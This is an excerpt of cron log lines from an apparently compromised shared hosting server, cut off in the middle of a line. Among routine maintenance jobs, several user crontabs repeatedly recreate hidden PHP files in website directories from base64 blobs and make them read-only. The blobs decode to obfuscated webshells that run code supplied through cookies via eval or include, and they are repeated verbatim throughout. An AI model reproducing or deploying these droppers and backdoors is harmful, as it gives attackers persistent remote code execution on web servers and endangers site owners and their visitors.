Mar  2 05:39:01 medusa CROND[9583]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:39:01 medusa CROND[9584]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:39:01 medusa CROND[9586]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:39:01 medusa CROND[9587]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 05:39:01 medusa CROND[9588]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 05:39:01 medusa CROND[9590]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:40:01 medusa CROND[28917]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 05:40:01 medusa CROND[28927]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 05:40:01 medusa CROND[29051]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 05:40:01 medusa CROND[29261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:40:01 medusa CROND[29267]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 05:40:01 medusa CROND[29266]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 05:40:01 medusa CROND[29269]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:40:01 medusa CROND[29273]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 05:40:01 medusa CROND[29274]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:40:01 medusa CROND[29275]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 05:40:01 medusa CROND[29280]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 05:40:01 medusa CROND[29282]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 05:40:01 medusa CROND[29285]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 05:40:01 medusa CROND[29270]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 05:40:01 medusa CROND[29268]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:40:01 medusa CROND[29290]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:40:01 medusa CROND[29289]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 05:40:01 medusa CROND[29295]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:40:01 medusa CROND[29296]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:40:01 medusa CROND[29297]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:40:01 medusa CROND[29300]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 05:40:01 medusa CROND[29306]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:40:01 medusa CROND[29316]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:40:01 medusa CROND[29283]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 05:40:01 medusa CROND[29322]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:40:01 medusa CROND[29329]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 05:40:01 medusa CROND[29331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:40:01 medusa CROND[29309]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 05:41:01 medusa CROND[12123]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:41:01 medusa CROND[12125]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 05:41:01 medusa CROND[12126]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:41:01 medusa CROND[12127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:41:01 medusa CROND[12128]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:41:01 medusa CROND[12129]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:41:01 medusa CROND[12132]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 05:41:01 medusa CROND[12135]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:41:01 medusa CROND[12150]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0